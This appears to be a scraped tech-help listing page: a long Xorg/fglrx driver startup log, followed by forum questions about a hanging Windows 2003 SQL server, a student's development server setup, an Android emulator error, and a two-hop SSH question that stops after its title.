"/usr/share/fonts/X11/cyrillic" does not exist. Entry deleted from font path. (==) FontPath set to: /usr/share/fonts/X11/misc, /usr/share/fonts/X11/100dpi/:unscaled, /usr/share/fonts/X11/75dpi/:unscaled, /usr/share/fonts/X11/Type1, /usr/share/fonts/X11/100dpi, /usr/share/fonts/X11/75dpi, /var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType, built-ins (==) ModulePath set to "/usr/lib/xorg/extra-modules,/usr/lib/xorg/modules" (II) The server relies on udev to provide the list of input devices. If no devices become available, reconfigure udev or disable AutoAddDevices. (II) Loader magic: 0x81f0e80 (II) Module ABI versions: X.Org ANSI C Emulation: 0.4 X.Org Video Driver: 6.0 X.Org XInput driver : 7.0 X.Org Server Extension : 2.0 (++) using VT number 7 (--) PCI:*(0:1:0:0) 1002:9442:174b:e104 ATI Technologies Inc RV770 [Radeon HD 4850] rev 0, Mem @ 0xc0000000/268435456, 0xfe7e0000/65536, I/O @ 0x0000a000/256, BIOS @ 0x????????/131072 (--) PCI: (0:2:0:0) 1002:954f:1462:1618 ATI Technologies Inc RV710 [Radeon HD 4350] rev 0, Mem @ 0xd0000000/268435456, 0xfe8e0000/65536, I/O @ 0x0000b000/256, BIOS @ 0x????????/131072 (WW) Open ACPI failed (/var/run/acpid.socket) (No such file or directory) (II) "extmod" will be loaded by default. (II) "dbe" will be loaded by default. (II) "glx" will be loaded. This was enabled by default and also specified in the config file. (II) "record" will be loaded by default. (II) "dri" will be loaded by default. (II) "dri2" will be loaded by default. (II) LoadModule: "glx" (II) Loading /usr/lib/xorg/extra-modules/modules/extensions/libglx.so (II) Module glx: vendor="FireGL - ATI Technologies Inc." compiled for 7.5.0, module version = 1.0.0 (II) Loading extension GLX (II) LoadModule: "extmod" (II) Loading /usr/lib/xorg/modules/extensions/libextmod.so (II) Module extmod: vendor="X.Org Foundation" compiled for 1.7.6, module version = 1.0.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 2.0 (II) Loading extension MIT-SCREEN-SAVER (II) Loading extension XFree86-VidModeExtension (II) Loading extension XFree86-DGA (II) Loading extension DPMS (II) Loading extension XVideo (II) Loading extension XVideo-MotionCompensation (II) Loading extension X-Resource (II) LoadModule: "dbe" (II) Loading /usr/lib/xorg/modules/extensions/libdbe.so (II) Module dbe: vendor="X.Org Foundation" compiled for 1.7.6, module version = 1.0.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 2.0 (II) Loading extension DOUBLE-BUFFER (II) LoadModule: "record" (II) Loading /usr/lib/xorg/modules/extensions/librecord.so (II) Module record: vendor="X.Org Foundation" compiled for 1.7.6, module version = 1.13.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 2.0 (II) Loading extension RECORD (II) LoadModule: "dri" (II) Loading /usr/lib/xorg/modules/extensions/libdri.so (II) Module dri: vendor="X.Org Foundation" compiled for 1.7.6, module version = 1.0.0 ABI class: X.Org Server Extension, version 2.0 (II) Loading extension XFree86-DRI (II) LoadModule: "dri2" (II) Loading /usr/lib/xorg/modules/extensions/libdri2.so (II) Module dri2: vendor="X.Org Foundation" compiled for 1.7.6, module version = 1.1.0 ABI class: X.Org Server Extension, version 2.0 (II) Loading extension DRI2 (II) LoadModule: "fglrx" (II) Loading /usr/lib/xorg/extra-modules/modules/drivers/fglrx_drv.so (II) Module fglrx: vendor="FireGL - ATI Technologies Inc." compiled for 1.7.1, module version = 8.72.11 Module class: X.Org Video Driver (II) Loading sub module "fglrxdrm" (II) LoadModule: "fglrxdrm" (II) Loading /usr/lib/xorg/extra-modules/modules/linux/libfglrxdrm.so (II) Module fglrxdrm: vendor="FireGL - ATI Technologies Inc." compiled for 1.7.1, module version = 8.72.11 (II) ATI Proprietary Linux Driver Version Identifier:8.72.11 (II) ATI Proprietary Linux Driver Release Identifier: 8.723.1 (II) ATI Proprietary Linux Driver Build Date: Apr 8 2010 21:40:29 (II) Primary Device is: PCI 01@00:00:0 (WW) Falling back to old probe method for fglrx (II) Loading PCS database from /etc/ati/amdpcsdb (--) Assigning device section with no busID to primary device (WW) fglrx: No matching Device section for instance (BusID PCI:0@2:0:0) found (--) Chipset Supported AMD Graphics Processor (0x9442) found (WW) fglrx: No matching Device section for instance (BusID PCI:0@1:0:1) found (WW) fglrx: No matching Device section for instance (BusID PCI:0@2:0:1) found (**) ChipID override: 0x954F (**) Chipset Supported AMD Graphics Processor (0x954F) found (II) AMD Video driver is running on a device belonging to a group targeted for this release (II) AMD Video driver is signed (II) fglrx(0): pEnt->device->identifier=0x9428aa0 (II) pEnt->device->identifier=(nil) (II) fglrx(0): === [atiddxPreInit] === begin (II) Loading sub module "vgahw" (II) LoadModule: "vgahw" (II) Loading /usr/lib/xorg/modules/libvgahw.so (II) Module vgahw: vendor="X.Org Foundation" compiled for 1.7.6, module version = 0.1.0 ABI class: X.Org Video Driver, version 6.0 (II) fglrx(0): Creating default Display subsection in Screen section "Default Screen" for depth/fbbpp 24/32 (**) fglrx(0): Depth 24, (--) framebuffer bpp 32 (II) fglrx(0): Pixel depth = 24 bits stored in 4 bytes (32 bpp pixmaps) (==) fglrx(0): Default visual is TrueColor (==) fglrx(0): RGB weight 888 (II) fglrx(0): Using 8 bits per RGB (==) fglrx(0): Buffer Tiling is ON (II) Loading sub module "fglrxdrm" (II) LoadModule: "fglrxdrm" (II) Reloading /usr/lib/xorg/extra-modules/modules/linux/libfglrxdrm.so ukiDynamicMajor: found major device number 251 ukiDynamicMajor: found major device number 251 ukiOpenByBusid: Searching for BusID PCI:1:0:0 ukiOpenDevice: node name is /dev/ati/card0 ukiOpenDevice: open result is 10, (OK) ukiOpenByBusid: ukiOpenMinor returns 10 ukiOpenByBusid: ukiGetBusid reports PCI:2:0:0 ukiOpenDevice: node name is /dev/ati/card1 ukiOpenDevice: open result is 10, (OK) ukiOpenByBusid: ukiOpenMinor returns 10 ukiOpenByBusid: ukiGetBusid reports PCI:1:0:0 ukiDynamicMajor: found major device number 251 ukiDynamicMajor: found major device number 251 ukiOpenByBusid: Searching for BusID PCI:2:0:0 ukiOpenDevice: node name is /dev/ati/card0 ukiOpenDevice: open result is 11, (OK) ukiOpenByBusid: ukiOpenMinor returns 11 ukiOpenByBusid: ukiGetBusid reports PCI:2:0:0 (--) fglrx(0): Chipset: "ATI Radeon HD 4800 Series" (Chipset = 0x9442) (--) fglrx(0): (PciSubVendor = 0x174b, PciSubDevice = 0xe104) (==) fglrx(0): board vendor info: third party graphics adapter - NOT original ATI (--) fglrx(0): Linear framebuffer (phys) at 0xc0000000 (--) fglrx(0): MMIO registers at 0xfe7e0000 (--) fglrx(0): I/O port at 0x0000a000 (==) fglrx(0): ROM-BIOS at 0x000c0000 (II) fglrx(0): AC Adapter is used (II) fglrx(0): Primary V_BIOS segment is: 0xc000 (II) Loading sub module "vbe" (II) LoadModule: "vbe" (II) Loading /usr/lib/xorg/modules/libvbe.so (II) Module vbe: vendor="X.Org Foundation" compiled for 1.7.6, module version = 1.1.0 ABI class: X.Org Video Driver, version 6.0 (II) fglrx(0): VESA BIOS detected (II) fglrx(0): VESA VBE Version 3.0 (II) fglrx(0): VESA VBE Total Mem: 16384 kB (II) fglrx(0): VESA VBE OEM: ATI ATOMBIOS (II) fglrx(0): VESA VBE OEM Software Rev: 11.13 (II) fglrx(0): VESA VBE OEM Vendor: (C) 1988-2005, ATI Technologies Inc. (II) fglrx(0): VESA VBE OEM Product: RV770 (II) fglrx(0): VESA VBE OEM Product Rev: 01.00 (II) fglrx(0): ATI Video BIOS revision 9 or later detected (--) fglrx(0): Video RAM: 524288 kByte, Type: GDDR3 (II) fglrx(0): PCIE card detected (--) fglrx(0): Using per-process page tables (PPPT) as GART. (WW) fglrx(0): board is an unknown third party board, chipset is supported (--) fglrx(0): Chipset: "ATI Radeon HD 4300/4500 Series" (Chipset = 0x954f) (--) fglrx(0): (PciSubVendor = 0x1462, PciSubDevice = 0x1618) (==) fglrx(0): board vendor info: third party graphics adapter - NOT original ATI (--) fglrx(0): Linear framebuffer (phys) at 0xd0000000 (--) fglrx(0): MMIO registers at 0xfe8e0000 (--) fglrx(0): I/O port at 0x0000b000 (==) fglrx(0): ROM-BIOS at 0x000c0000 (II) fglrx(0): AC Adapter is used (II) fglrx(0): Invalid ATI BIOS from int10, the adapter is not VGA-enabled (II) fglrx(0): ATI Video BIOS revision 9 or later detected (--) fglrx(0): Video RAM: 524288 kByte, Type: DDR2 (II) fglrx(0): PCIE card detected (--) fglrx(0): Using per-process page tables (PPPT) as GART. (WW) fglrx(0): board is an unknown third party board, chipset is supported (II) fglrx(0): Using adapter: 1:0.0. (II) fglrx(0): [FB] MC range(MCFBBase = 0xf00000000, MCFBSize = 0x20000000) (II) fglrx(0): Interrupt handler installed at IRQ 31. (II) fglrx(0): Using adapter: 2:0.0. (II) fglrx(0): [FB] MC range(MCFBBase = 0xf00000000, MCFBSize = 0x20000000) (II) fglrx(0): RandR 1.2 support is enabled! (II) fglrx(0): RandR 1.2 rotation support is enabled! (==) fglrx(0): Center Mode is disabled (II) Loading sub module "fb" (II) LoadModule: "fb" (II) Loading /usr/lib/xorg/modules/libfb.so (II) Module fb: vendor="X.Org Foundation" compiled for 1.7.6, module version = 1.0.0 ABI class: X.Org ANSI C Emulation, version 0.4 (II) Loading sub module "ddc" (II) LoadModule: "ddc" (II) Module "ddc" already built-in (II) fglrx(0): Finished Initialize PPLIB! (II) Loading sub module "ddc" (II) LoadModule: "ddc" (II) Module "ddc" already built-in (II) fglrx(0): Connected Display0: DFP on external TMDS [tmds2] (II) fglrx(0): Display0 EDID data --------------------------- (II) fglrx(0): Manufacturer: DEL Model: a038 Serial#: 810829397 (II) fglrx(0): Year: 2008 Week: 51 (II) fglrx(0): EDID Version: 1.3 (II) fglrx(0): Digital Display Input (II) fglrx(0): Max Image Size [cm]: horiz.: 53 vert.: 30 (II) fglrx(0): Gamma: 2.20 (II) fglrx(0): DPMS capabilities: StandBy Suspend Off (II) fglrx(0): Supported color encodings: RGB 4:4:4 YCrCb 4:4:4 (II) fglrx(0): Default color space is primary color space (II) fglrx(0): First detailed timing is preferred mode (II) fglrx(0): redX: 0.640 redY: 0.330 greenX: 0.300 greenY: 0.600 (II) fglrx(0): blueX: 0.150 blueY: 0.060 whiteX: 0.312 whiteY: 0.329 (II) fglrx(0): Supported established timings: (II) fglrx(0): 720x400@70Hz (II) fglrx(0): 640x480@60Hz (II) fglrx(0): 640x480@75Hz (II) fglrx(0): 800x600@60Hz (II) fglrx(0): 800x600@75Hz (II) fglrx(0): 1024x768@60Hz (II) fglrx(0): 1024x768@75Hz (II) fglrx(0): 1280x1024@75Hz (II) fglrx(0): Manufacturer's mask: 0 (II) fglrx(0): Supported standard timings: (II) fglrx(0): #0: hsize: 1152 vsize 864 refresh: 75 vid: 20337 (II) fglrx(0): #1: hsize: 1280 vsize 1024 refresh: 60 vid: 32897 (II) fglrx(0): #2: hsize: 1920 vsize 1080 refresh: 60 vid: 49361 (II) fglrx(0): Supported detailed timing: (II) fglrx(0): clock: 148.5 MHz Image Size: 531 x 298 mm (II) fglrx(0): h_active: 1920 h_sync: 2008 h_sync_end 2052 h_blank_end 2200 h_border: 0 (II) fglrx(0): v_active: 1080 v_sync: 1084 v_sync_end 1089 v_blanking: 1125 v_border: 0 (II) fglrx(0): Serial No: Y183D8CF0TFU (II) fglrx(0): Monitor name: DELL S2409W (II) fglrx(0): Ranges: V min: 50 V max: 76 Hz, H min: 30 H max: 83 kHz, PixClock max 170 MHz (II) fglrx(0): EDID (in hex): (II) fglrx(0): 00ffffffffffff0010ac38a055465430 (II) fglrx(0): 3312010380351e78eeee91a3544c9926 (II) fglrx(0): 0f5054a54b00714f8180d1c001010101 (II) fglrx(0): 010101010101023a801871382d40582c (II) fglrx(0): 4500132a2100001e000000ff00593138 (II) fglrx(0): 3344384346305446550a000000fc0044 (II) fglrx(0): 454c4c205332343039570a20000000fd (II) fglrx(0): 00324c1e5311000a2020202020200059 (II) fglrx(0): End of Display0 EDID data -------------------- (II) fglrx(0): Output DFP2 has no monitor section (II) fglrx(0): Output DFP_EXTTMDS has no monitor section (II) fglrx(0): Output CRT1 has no monitor section (II) fglrx(0): Output CRT2 has no monitor section (II) fglrx(0): Output DFP2 disconnected (II) fglrx(0): Output DFP_EXTTMDS connected (II) fglrx(0): Output CRT1 disconnected (II) fglrx(0): Output CRT2 disconnected (II) fglrx(0): Using exact sizes for initial modes (II) fglrx(0): Output DFP_EXTTMDS using initial mode 1920x1080 (II) fglrx(0): DPI set to (96, 96) (II) fglrx(0): Adapter ATI Radeon HD 4800 Series has 2 configurable heads and 1 displays connected. (==) fglrx(0): QBS disabled (==) fglrx(0): PseudoColor visuals disabled (II) Loading sub module "ramdac" (II) LoadModule: "ramdac" (II) Module "ramdac" already built-in (==) fglrx(0): NoAccel = NO (==) fglrx(0): NoDRI = NO (==) fglrx(0): Capabilities: 0x00000000 (==) fglrx(0): CapabilitiesEx: 0x00000000 (==) fglrx(0): OpenGL ClientDriverName: "fglrx_dri.so" (==) fglrx(0): UseFastTLS=0 (==) fglrx(0): BlockSignalsOnLock=1 (--) Depth 24 pixmap format is 32 bpp (II) Loading extension ATIFGLRXDRI (II) fglrx(0): doing swlDriScreenInit (II) fglrx(0): swlDriScreenInit for fglrx driver ukiDynamicMajor: found major device number 251 ukiDynamicMajor: found major device number 251 ukiDynamicMajor: found major device number 251 ukiOpenByBusid: Searching for BusID PCI:1:0:0 ukiOpenDevice: node name is /dev/ati/card0 ukiOpenDevice: open result is 17, (OK) ukiOpenByBusid: ukiOpenMinor returns 17 ukiOpenByBusid: ukiGetBusid reports PCI:2:0:0 ukiOpenDevice: node name is /dev/ati/card1 ukiOpenDevice: open result is 17, (OK) ukiOpenByBusid: ukiOpenMinor returns 17 ukiOpenByBusid: ukiGetBusid reports PCI:1:0:0 (II) fglrx(0): [uki] DRM interface version 1.0 (II) fglrx(0): [uki] created "fglrx" driver at busid "PCI:1:0:0" (II) fglrx(0): [uki] added 8192 byte SAREA at 0x2000 (II) fglrx(0): [uki] mapped SAREA 0x2000 to 0xb6996000 (II) fglrx(0): [uki] framebuffer handle = 0x3000 (II) fglrx(0): [uki] added 1 reserved context for kernel (II) fglrx(0): swlDriScreenInit done (II) fglrx(0): Kernel Module Version Information: (II) fglrx(0): Name: fglrx (II) fglrx(0): Version: 8.72.11 (II) fglrx(0): Date: Apr 8 2010 (II) fglrx(0): Desc: ATI FireGL DRM kernel module (II) fglrx(0): Kernel Module version matches driver. (II) fglrx(0): Kernel Module Build Time Information: (II) fglrx(0): Build-Kernel UTS_RELEASE: 2.6.32-22-generic-pae (II) fglrx(0): Build-Kernel MODVERSIONS: yes (II) fglrx(0): Build-Kernel __SMP__: yes (II) fglrx(0): Build-Kernel PAGE_SIZE: 0x1000 (II) fglrx(0): [uki] register handle = 0x00004000 (II) fglrx(0): DRI initialization successfull! (II) fglrx(0): FBADPhys: 0xf00000000 FBMappedSize: 0x01068000 (II) fglrx(0): FBMM initialized for area (0,0)-(1920,2240) (II) fglrx(0): FBMM auto alloc for area (0,0)-(1920,1920) (front color buffer - assumption) (II) fglrx(0): Largest offscreen area available: 1920 x 320 (==) fglrx(0): Backing store disabled (II) Loading extension FGLRXEXTENSION (==) fglrx(0): DPMS enabled (II) fglrx(0): Initialized in-driver Xinerama extension (**) fglrx(0): Textured Video is enabled. (II) LoadModule: "glesx" (II) Loading /usr/lib/xorg/extra-modules/modules/glesx.so (II) Module glesx: vendor="X.Org Foundation" compiled for 1.7.1, module version = 1.0.0 (II) Loading extension GLESX (II) Loading sub module "xaa" (II) LoadModule: "xaa" (II) Loading /usr/lib/xorg/modules/libxaa.so (II) Module xaa: vendor="X.Org Foundation" compiled for 1.7.6, module version = 1.2.1 ABI class: X.Org Video Driver, version 6.0 (II) fglrx(0): GLESX enableFlags = 94 (II) fglrx(0): Using XFree86 Acceleration Architecture (XAA) Screen to screen bit blits Solid filled rectangles Solid Horizontal and Vertical Lines Driver provided ScreenToScreenBitBlt replacement Driver provided FillSolidRects replacement (II) fglrx(0): GLESX is enabled (II) LoadModule: "amdxmm" (II) Loading /usr/lib/xorg/extra-modules/modules/amdxmm.so (II) Module amdxmm: vendor="X.Org Foundation" compiled for 1.7.1, module version = 1.0.0 (II) Loading extension AMDXVOPL (II) fglrx(0): UVD2 feature is available (II) fglrx(0): Enable composite support successfully (II) fglrx(0): X context handle = 0x1 (II) fglrx(0): [DRI] installation complete (==) fglrx(0): Silken mouse enabled (==) fglrx(0): Using HW cursor of display infrastructure! (II) fglrx(0): Disabling in-server RandR and enabling in-driver RandR 1.2. (--) RandR disabled (II) Found 2 VGA devices: arbiter wrapping enabled (II) Initializing built-in extension Generic Event Extension (II) Initializing built-in extension SHAPE (II) Initializing built-in extension MIT-SHM (II) Initializing built-in extension XInputExtension (II) Initializing built-in extension XTEST (II) Initializing built-in extension BIG-REQUESTS (II) Initializing built-in extension SYNC (II) Initializing built-in extension XKEYBOARD (II) Initializing built-in extension XC-MISC (II) Initializing built-in extension SECURITY (II) Initializing built-in extension XINERAMA (II) Initializing built-in extension XFIXES (II) Initializing built-in extension RENDER (II) Initializing built-in extension RANDR (II) Initializing built-in extension COMPOSITE (II) Initializing built-in extension DAMAGE ukiDynamicMajor: found major device number 251 ukiDynamicMajor: found major device number 251 ukiOpenByBusid: Searching for BusID PCI:1:0:0 ukiOpenDevice: node name is /dev/ati/card0 ukiOpenDevice: open result is 18, (OK) ukiOpenByBusid: ukiOpenMinor returns 18 ukiOpenByBusid: ukiGetBusid reports PCI:2:0:0 ukiOpenDevice: node name is /dev/ati/card1 ukiOpenDevice: open result is 18, (OK) ukiOpenByBusid: ukiOpenMinor returns 18 ukiOpenByBusid: ukiGetBusid reports PCI:1:0:0 (II) AIGLX: Loaded and initialized /usr/lib/dri/fglrx_dri.so (II) GLX: Initialized DRI GL provider for screen 0 (II) fglrx(0): Enable the clock gating! (II) fglrx(0): Setting screen physical size to 507 x 285 (II) XKB: reuse xkmfile /var/lib/xkb/server-B20D7FC79C7F597315E3E501AEF10E0D866E8E92.xkm (II) config/udev: Adding input device Power Button (/dev/input/event1) (**) Power Button: Applying InputClass "evdev keyboard catchall" (II) LoadModule: "evdev" (II) Loading /usr/lib/xorg/modules/input/evdev_drv.so (II) Module evdev: vendor="X.Org Foundation" compiled for 1.7.6, module version = 2.3.2 Module class: X.Org XInput Driver ABI class: X.Org XInput driver, version 7.0 (**) Power Button: always reports core events (**) Power Button: Device: "/dev/input/event1" (II) Power Button: Found keys (II) Power Button: Configuring as keyboard (II) XINPUT: Adding extended input device "Power Button" (type: KEYBOARD) (**) Option "xkb_rules" "evdev" (**) Option "xkb_model" "pc105" (**) Option "xkb_layout" "us" (II) config/udev: Adding input device Power Button (/dev/input/event0) (**) Power Button: Applying InputClass "evdev keyboard catchall" (**) Power Button: always reports core events (**) Power Button: Device: "/dev/input/event0" (II) Power Button: Found keys (II) Power Button: Configuring as keyboard (II) XINPUT: Adding extended input device "Power Button" (type: KEYBOARD) (**) Option "xkb_rules" "evdev" (**) Option "xkb_model" "pc105" (**) Option "xkb_layout" "us" (II) config/udev: Adding input device Logitech USB-PS/2 Optical Mouse (/dev/input/event3) (**) Logitech USB-PS/2 Optical Mouse: Applying InputClass "evdev pointer catchall" (**) Logitech USB-PS/2 Optical Mouse: always reports core events (**) Logitech USB-PS/2 Optical Mouse: Device: "/dev/input/event3" (II) Logitech USB-PS/2 Optical Mouse: Found 12 mouse buttons (II) Logitech USB-PS/2 Optical Mouse: Found scroll wheel(s) (II) Logitech USB-PS/2 Optical Mouse: Found relative axes (II) Logitech USB-PS/2 Optical Mouse: Found x and y relative axes (II) Logitech USB-PS/2 Optical Mouse: Configuring as mouse (**) Logitech USB-PS/2 Optical Mouse: YAxisMapping: buttons 4 and 5 (**) Logitech USB-PS/2 Optical Mouse: EmulateWheelButton: 4, EmulateWheelInertia: 10, EmulateWheelTimeout: 200 (II) XINPUT: Adding extended input device "Logitech USB-PS/2 Optical Mouse" (type: MOUSE) (II) Logitech USB-PS/2 Optical Mouse: initialized for relative axes. (II) config/udev: Adding input device Logitech USB-PS/2 Optical Mouse (/dev/input/mouse1) (II) No input driver/identifier specified (ignoring) (II) config/udev: Adding input device Logitech USB Multimedia Keyboard (/dev/input/event4) (**) Logitech USB Multimedia Keyboard: Applying InputClass "evdev keyboard catchall" (**) Logitech USB Multimedia Keyboard: always reports core events (**) Logitech USB Multimedia Keyboard: Device: "/dev/input/event4" (II) Logitech USB Multimedia Keyboard: Found keys (II) Logitech USB Multimedia Keyboard: Configuring as keyboard (II) XINPUT: Adding extended input device "Logitech USB Multimedia Keyboard" (type: KEYBOARD) (**) Option "xkb_rules" "evdev" (**) Option "xkb_model" "pc105" (**) Option "xkb_layout" "us" (II) config/udev: Adding input device Logitech USB Multimedia Keyboard (/dev/input/event5) (**) Logitech USB Multimedia Keyboard: Applying InputClass "evdev keyboard catchall" (**) Logitech USB Multimedia Keyboard: always reports core events (**) Logitech USB Multimedia Keyboard: Device: "/dev/input/event5" (II) Logitech USB Multimedia Keyboard: Found keys (II) Logitech USB Multimedia Keyboard: Configuring as keyboard (II) XINPUT: Adding extended input device "Logitech USB Multimedia Keyboard" (type: KEYBOARD) (**) Option "xkb_rules" "evdev" (**) Option "xkb_model" "pc105" (**) Option "xkb_layout" "us" (II) config/udev: Adding input device KEYBOARD (/dev/input/event6) (**) KEYBOARD: Applying InputClass "evdev keyboard catchall" (**) KEYBOARD: always reports core events (**) KEYBOARD: Device: "/dev/input/event6" (II) KEYBOARD: Found keys (II) KEYBOARD: Configuring as keyboard (II) XINPUT: Adding extended input device "KEYBOARD" (type: KEYBOARD) (**) Option "xkb_rules" "evdev" (**) Option "xkb_model" "pc105" (**) Option "xkb_layout" "us" (II) config/udev: Adding input device KEYBOARD (/dev/input/event7) (**) KEYBOARD: Applying InputClass "evdev keyboard catchall" (**) KEYBOARD: always reports core events (**) KEYBOARD: Device: "/dev/input/event7" (II) KEYBOARD: Found 14 mouse buttons (II) KEYBOARD: Found scroll wheel(s) (II) KEYBOARD: Found relative axes (II) KEYBOARD: Found keys (II) KEYBOARD: Configuring as mouse (II) KEYBOARD: Configuring as keyboard (**) KEYBOARD: YAxisMapping: buttons 4 and 5 (**) KEYBOARD: EmulateWheelButton: 4, EmulateWheelInertia: 10, EmulateWheelTimeout: 200 (II) XINPUT: Adding extended input device "KEYBOARD" (type: KEYBOARD) (**) Option "xkb_rules" "evdev" (**) Option "xkb_model" "pc105" (**) Option "xkb_layout" "us" (EE) KEYBOARD: failed to initialize for relative axes. (II) config/udev: Adding input device KEYBOARD (/dev/input/mouse2) (II) No input driver/identifier specified (ignoring) (II) config/udev: Adding input device Macintosh mouse button emulation (/dev/input/event2) (**) Macintosh mouse button emulation: Applying InputClass "evdev pointer catchall" (**) Macintosh mouse button emulation: always reports core events (**) Macintosh mouse button emulation: Device: "/dev/input/event2" (II) Macintosh mouse button emulation: Found 3 mouse buttons (II) Macintosh mouse button emulation: Found relative axes (II) Macintosh mouse button emulation: Found x and y relative axes (II) Macintosh mouse button emulation: Configuring as mouse (**) Macintosh mouse button emulation: YAxisMapping: buttons 4 and 5 (**) Macintosh mouse button emulation: EmulateWheelButton: 4, EmulateWheelInertia: 10, EmulateWheelTimeout: 200 (II) XINPUT: Adding extended input device "Macintosh mouse button emulation" (type: MOUSE) (II) Macintosh mouse button emulation: initialized for relative axes. (II) config/udev: Adding input device Macintosh mouse button emulation (/dev/input/mouse0) (II) No input driver/identifier specified (ignoring) (II) fglrx(0): Restoring Recent Mode via PCS is not supported in RANDR 1.2 capable environments

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• How do I troubleshoot root cause of a hung windows (2003) server?

  - by GregW

  I have a pair of Windows (2003 Server) servers both running MS SQL Server (2008 EE) that each hang every few months. This has been occurring intermittently :( for the past 15 months pretty much since we started using the servers. The symptoms are as-follows: I cannot remote desktop in to troubleshoot; when I attempt to, I get stuck on a blank black screen and am never offered a login prompt I can still ping the servers I can still open a SQL connection to the server, and, CURIOUSLY/BIZARRELY, when I do a "select getdate()", the time it returns appears to be stuck on the exact fraction of a second when (I presume) the server hung. Repeated attempts to do "select getdate()" keep getting that same date, suggesting that the clock is frozen. Filesharing attempts to connect to the hung server fail with the error message: "\ServerName is not accessible. You might not have permissions to use this network resource. Contact the administrator of this server to find out if you have access permissions. The server's clock is not synchronized with the primary domain controller's clock." This is consistent with a frozen clock. Post-reboot, if I investigate the Windows Event Viewer logs, I can see many security accesses (coming from me and others) that I recognize were login attempts during the "down" period, but all of them in the security log are associated with that same timestamp of when the server hung. This also suggests the clock is frozen. There is not a clear cause in the Application or System event logs. I have a local Admin account on the server and am in the process of getting a domain-credentialed Admin account for better remote admin access. HP is supposed to be supporting these machines and has some low-level ILO2 access but they seem incapable of finding the root cause. A reboot will "fix" the problem but I would like to get to the root cause and solve the issue. Has anyone ever seen something like this odd clock behavior?! (If it were just one server I'd perhaps say a bad hardware clock, but two?) Can anyone advise me on what I should try to troubleshoot this sort of situation to find the root cause (or what I should tell HP to try?)

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• 2nd Year College - Learning - Microsoft Server Products

  - by Ryan

  As the title says, I just finished my first year of college (majoring in Software Engineering). Fortunately my school likes Microsoft enough, and I can get pretty much anything I want that Microsoft sells. I also can get IBM Websphere and the like for free as well. Earlier this year, I set up an oldish computer (2.6 Pentium D, x64) to run ubuntu server headless. I'm predominately a Java developer, so Apache, Maven, Nexus, Sonar, SVN, etc made it onto the machine. It worked really well for personal and school projects, especially team projects (quick ramp up). Anyways, I started to pick up C# to complement my Java knowledge (don't judge me :P), and am interested in working with some of the associated Microsoft equivalents. The machine currently has the Ubuntu install, as well as Windows 7 Ultimate. I do all of my actual development work off my laptop, also running Windows 7 Ultimate. I was wondering what software you would recommend putting on the machine. I’m not actually serving anything off the machine itself, but in Ubuntu I had it doing integration tests with Hudson on every commit, and profiling my applications, etc, etc. The machine would be running headless, and I would remote into it. Here is what I am currently leaning towards / wondering about: Windows 7 Ultimate vs Windows Server 2008 (R2) (no one is really clear why I should go with one over the other) Windows Team Foundation Sharepoint (Never used it before, kind of meh about it) IBM Websphere or Glassfish (Some Java EE web server) SQL Server 2008 A DVCS In order to better control product conflicts / limit resource use, I’m wondering if I should install things into virtual machines (I can get VmWare or Microsoft Virtualization Products) I also plan on installing everything I had running under Linux (it’s almost entirely Java based development software, so it’ll run on both, only reason I went with ubuntu during the year was because the apache build seemed better). I’m primarily looking to become familiar with enterprise software development tools, as well as get something functional that will help my development process. (IE, I’ll still use project and assign tasks even though I might be the only one to assign tasks to, just to practice doing so). Is there any other software / configuration details I should explore? Opinions on my current list? I primarily use C#, Java, and PHP. I'm familiar with ruby, and python as well. Thanks!

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• Error in eclipse on run android project

  - by Larz

  I am trying to get a simple hello world android project working in eclipse using an android emulator. I have been using the examples on developer.android.com. I actually did have a hello world app working. I then modified it's xml files to have a text input field and a button as in the second example shows on that site. This failed to run on the emulator. I then went back and tried to create another simple hello world project, but it fails to run. The console says "Waiting for HOME ('android.process.acore') to be launched, but nothing happens or sometimes a messenger in the emulator says "unfortunately Android Wear has stopped". Below is a sample error filter on the log file. I find trying to debug this is something new to me and I am not sure the best way to go about it. I am just trying to learn some basic android developer skills. 05-30 16:19:07.336: E/SELinux(469): SELinux: Loaded file_contexts from /file_contexts, 05-30 16:19:07.336: E/SELinux(469): digest= 05-30 16:19:07.376: E/SELinux(469): b0 05-30 16:19:07.376: E/SELinux(469): 4b 05-30 16:19:07.756: E/SELinux(469): 03 05-30 16:19:07.756: E/SELinux(469): 4a 05-30 16:19:07.826: E/SELinux(469): 73 05-30 16:19:07.886: E/SELinux(469): ab 05-30 16:19:07.886: E/SELinux(469): 6d 05-30 16:19:07.896: E/SELinux(469): 46 05-30 16:19:07.896: E/SELinux(469): b4 05-30 16:19:07.896: E/SELinux(469): a5 05-30 16:19:07.896: E/SELinux(469): 73 05-30 16:19:07.896: E/SELinux(469): 8a 05-30 16:19:07.896: E/SELinux(469): ee 05-30 16:19:07.896: E/SELinux(469): ac 05-30 16:19:07.906: E/SELinux(469): 68 05-30 16:19:07.906: E/SELinux(469): ff 05-30 16:19:07.906: E/SELinux(469): 04 05-30 16:19:07.906: E/SELinux(469): dc 05-30 16:19:07.906: E/SELinux(469): b8 05-30 16:19:07.906: E/SELinux(469): a2 05-30 16:19:11.806: E/SensorManager(511): sensor or listener is null 05-30 16:19:16.196: E/BluetoothAdapter(378): Bluetooth binder is null 05-30 16:19:16.206: E/BluetoothAdapter(378): Bluetooth binder is null 05-30 16:19:17.186: E/WVMExtractor(54): Failed to open libwvm.so: dlopen failed: library "libwvm.so" not found 05-30 16:19:17.776: E/AudioCache(54): Error 1, -2147483648 occurred 05-30 16:19:17.796: E/SoundPool(378): Unable to load sample: (null) 05-30 16:19:18.536: E/AudioCache(54): Error 1, -2147483648 occurred 05-30 16:19:18.546: E/SoundPool(378): Unable to load sample: (null)

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• Two-Hop SSH connection with two separate public keys

  - by yigit

